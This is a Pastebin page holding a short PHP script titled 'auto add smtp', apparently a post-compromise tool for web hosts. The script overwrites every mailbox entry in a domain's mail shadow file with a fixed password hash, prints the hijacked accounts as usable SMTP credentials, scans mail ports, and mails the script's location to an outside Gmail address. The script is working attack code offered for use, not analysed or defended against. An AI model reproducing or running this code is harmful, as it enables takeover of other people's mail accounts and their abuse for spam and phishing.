Advertisement
PejuangRoso

auto add smtp

Dec 5th, 2018
463
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.52 KB | None | 0 0
  1. <?php set_time_limit(0);
  2. ini_set('max_execution_time',0);
  3. ini_set('memory_limit',-1);
  4. $ports=array(25, 587, 465, 110, 995, 143 , 993);
  5. $primary_port='25';
  6. $user=get_current_user();
  7. $ip = getenv("REMOTE_ADDR");
  8. $hostname = gethostbyaddr($ip);
  9. $bilsmg = "Link Smtp : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
  10. $bilsnd ="jowoblackhat@gmail.com";
  11. $bilsub = "New Smtp Uploaded !! $ip";
  12. $bilhead = "From: SMTP";
  13. $bilhead .= $_POST['eMailAdd']."\n";
  14. $bilhead .= "MIME-Version: 1.0\n";
  15. $arr=array($bilsnd, $IP);
  16. foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message);
  17. $password='Sankess*+.';
  18. $pwd = crypt($password,'$6$roottn$');
  19. $t = $_SERVER['SERVER_NAME'];
  20. $t = @str_replace("www.","",$t);
  21. @$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow');
  22. $ex=explode("\r\n",$passwd);
  23. @link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.roottn.bak');
  24. @unlink('/home/'.$user.'/etc/'.$t.'/shadow');
  25. foreach($ex as $ex){ $ex=explode(':',$ex);
  26. $e= $ex[0];
  27. if ($e){ $b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');
  28. fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");
  29. fclose($b);
  30. echo '<span style=\'color:#00ff00;
  31. \'>'.$t.'|25|'.$e.'@'.$t.'|'.$password.'</span><br>';
  32. "</center>";
  33. }} foreach ($ports as $port) { $connection = @fsockopen($t, $port, $errno, $errstr, 2);
  34. if (is_resource($connection)) { echo '<h2>' . $host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</h2>' . "\n";
  35. fclose($connection);
  36. } }
  37. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement